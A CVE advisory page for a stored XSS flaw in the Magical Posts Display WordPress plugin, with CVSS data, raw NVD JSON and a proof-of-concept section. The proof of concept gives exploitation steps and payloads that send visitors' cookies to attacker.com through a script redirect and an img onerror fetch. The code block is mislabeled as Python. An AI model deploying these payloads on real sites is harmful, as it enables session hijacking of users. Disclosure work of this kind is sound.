Security Vulnerability Report
中文
CVE-2025-12965 CVSS 6.4 MEDIUM

CVE-2025-12965

Published: 2025-12-12 12:15:46
Last Modified: 2026-04-15 00:35:42

Description

The Magical Posts Display plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mpac_title_tag' parameter in the Magical Posts Accordion widget in all versions up to, and including, 1.2.54 due to insufficient input sanitization and output escaping on user-supplied HTML tag names. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Magical Posts Display插件 <= 1.2.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12965 PoC - Stored XSS in Magical Posts Display <= 1.2.54 --> <!-- This PoC demonstrates the stored XSS vulnerability via mpac_title_tag parameter --> <!-- Steps to exploit: --> <!-- 1. Login to WordPress with Author+ privileges --> <!-- 2. Navigate to Appearance > Widgets --> <!-- 3. Add 'Magical Posts Accordion' widget to a sidebar --> <!-- 4. In 'Title Tag' field (mpac_title_tag), inject the following payload --> <!-- Payload for XSS execution --> <script>alert('XSS via CVE-2025-12965');document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Alternative payload using event handler --> <img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)"> <!-- PoC HTTP Request (simulated WordPress widget save) --> <!-- POST /wp-admin/admin-ajax.php HTTP/1.1 --> <!-- Content-Type: application/x-www-form-urlencoded --> <!-- nonce: [WordPress nonce] --> <!-- action: widgets_save --> <!-- id_base: magical-posts-accordion --> <!-- mpac_title_tag: <script>alert(document.cookie)</script> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12965", "sourceIdentifier": "[email protected]", "published": "2025-12-12T12:15:45.740", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Magical Posts Display plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mpac_title_tag' parameter in the Magical Posts Accordion widget in all versions up to, and including, 1.2.54 due to insufficient input sanitization and output escaping on user-supplied HTML tag names. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3407965%40magical-posts-display&new=3407965%40magical-posts-display&sfp_email=&sfph_mail=#file34", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/magical-posts-display/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8352400f-fea1-486d-872a-66340300cee9?source=cve", "source": "[email protected]"}]}}